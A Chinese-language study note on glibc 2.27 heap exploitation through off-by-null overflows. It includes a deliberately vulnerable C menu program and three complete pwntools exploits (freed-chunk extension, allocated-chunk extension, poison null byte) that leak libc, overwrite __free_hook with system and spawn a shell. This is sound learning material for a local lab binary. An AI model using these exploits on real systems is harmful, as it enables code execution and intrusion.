总的感觉就是通过off by null来修改size区域,然后造成堆块合并,使得堆块重叠,可以修改可控堆块,
主要看了一个这里面的例子:https://www.jianshu.com/p/8eb55c40ec4a 还有权威指南的pwn书
https://github.com/shellphish/how2heap/blob/master/glibc_2.23/poison_null_byte.c how2heap的例子也不错
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <assert.h> char *ptr[0x100] = {0}; void menu(){ puts("1.malloc"); puts("2.edit"); puts("3.show"); puts("4.free"); puts("5.exit"); } void my_malloc(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); ptr[index] = malloc(size); puts("content:"); read(0,ptr[index],size); } void my_edit(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); puts("content:"); read(0,ptr[index],size); } void my_free(){ int index; puts("index:"); scanf("%d",&index); free(ptr[index]); } void my_show(){ int index; puts("index:"); scanf("%d",&index); puts(ptr[index]); }
int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); puts("welcome"); while(1){ int op; menu(); scanf("%d",&op); if(op == 1) my_malloc(); else if(op == 2) my_edit(); else if(op == 3) my_show(); else if(op == 4) my_free(); else if(op == 5) exit(0); else puts("invalid!"); } return 0; }
|
这个demo里的edit可以得到任意size,但假设只能溢出1字节
利用1:扩展被释放块
利用思路可以总结为通过拓展一个被释放的块,覆盖掉后面的块,可以修改后面块的内容,比如fd,bk或者函数指针等,从而可以进一步利用
gcc -g demo.c demo1
patchelf –set-interpreter ~/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 ./demo1
patchelf –set-rpath /root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./demo1
覆盖前
覆盖后,可以修改后面的bin的内容了,然后再申请后面bin,就可以申请到free_hook等任意地址,进行修改
0x51的原因是 0x418 (0x410其实是) + 0x10的头 + 0x20的数据(或者说0x28) + 0x10的头
所以就等于0x450, 不存在0x458这种, 其实这里改成多少都行,能覆盖到就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * context.log_level = 'debug' p = process('./demo1') libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
def cmd(a): p.recvuntil('5.exit') p.sendline(str(a)) def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content) def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content) def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index)) def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))
alloc(0,0x18,b'a') alloc(1,0x418,b'b') alloc(2,0x28,b'c') free(1) edit(0,0x19,p64(0)*3+p8(0x51)) alloc(3,0x448,b'\xa0') free(2) show(3) leak_libc = u64(p.recv(6).ljust(8,b"\x00")) libc_base = leak_libc - 0x3ebca0 free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system']
edit(3,0x448,b'a'*0x418+p64(0x31)+p64(free_hook)) alloc(4,0x28,b'/bin/sh') alloc(5,0x28,p64(system)) free(4)
p.interactive()
|
奇怪的是,这里的free(2)为什么没有被合并呢, 一般需要加一个堆块挡着
利用2: 扩展已分配块
感觉和1差不多其实,就是换一下顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * context.log_level = 'debug' p = process('./demo1') libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
def cmd(a): p.recvuntil('5.exit') p.sendline(str(a)) def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content) def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content) def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index)) def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))
alloc(0,0x18,b'a') alloc(1,0x418,b'b') alloc(2,0x28,b'c') alloc(3,0x28,b'd')
edit(0,0x19,p64(0)*3+p8(0x51)) free(1) alloc(4,0x448,b'\xa0') show(4) leak_libc = u64(p.recv(6).ljust(8,b"\x00")) libc_base = leak_libc - 0x3ebca0 free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] print(hex(leak_libc)) free(2) edit(4,0x448,b'a'*0x418+p64(0x31)+p64(free_hook)) alloc(5,0x28,b'/bin/sh') alloc(6,0x28,p64(system)) free(5)
p.interactive()
|
利用3: 收缩被释放块 poison null byte
权威指南里面的图,还不错
总的俩说还是造成堆块重叠
博主的图,也不错,不过最后好像少了一块,进行了补全
free 5之前
free之后tcachebin 0x50多了一项,此时利用edit修改fd,就可以实现任意地址写
修改fd后,此时就可以修改hook指针getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import * context.log_level = 'debug' p = process('./demo') libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
def cmd(a): p.recvuntil('5.exit') p.sendline(str(a)) def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content) def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content) def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index)) def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))
alloc(1,0x18,b'a') alloc(2,0x100,b'b') alloc(3,0x80,b'c') alloc(4,0x10,b'd') edit(2,0x100,b'\x00' * 0xf0 + p64(0x100))
for i in range(9,16): alloc(i,0x108,b'p') for i in range(9,16): free(i)
free(2) edit(1,0x19,b'A' * 0x18 + p8(0)) alloc(2,0x80,'d') alloc(5,0x40,'e') for i in range(17,24): alloc(i,0x88,b'p') for i in range(17,24): free(i)
free(2) free(3) alloc(6,0xa0,b'\xa0') free(5) show(6) leak_libc = u64(p.recv(6).ljust(8,b'\x00')) print(hex(leak_libc)) libc_base = leak_libc - 0x00007f74b3a5cca0 + 0x7f74b3671000 - 0x200 free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] edit(6,0xa0,p8(0) * 0x80 + p64(0x90) + p64(0x50) + p64(free_hook)) pause() alloc(7,0x40,b'/bin/sh\x00') alloc(8,0x40,p64(system)) free(7)
p.interactive()
|
问题
libc.symbols 覆盖的到底是什么呢?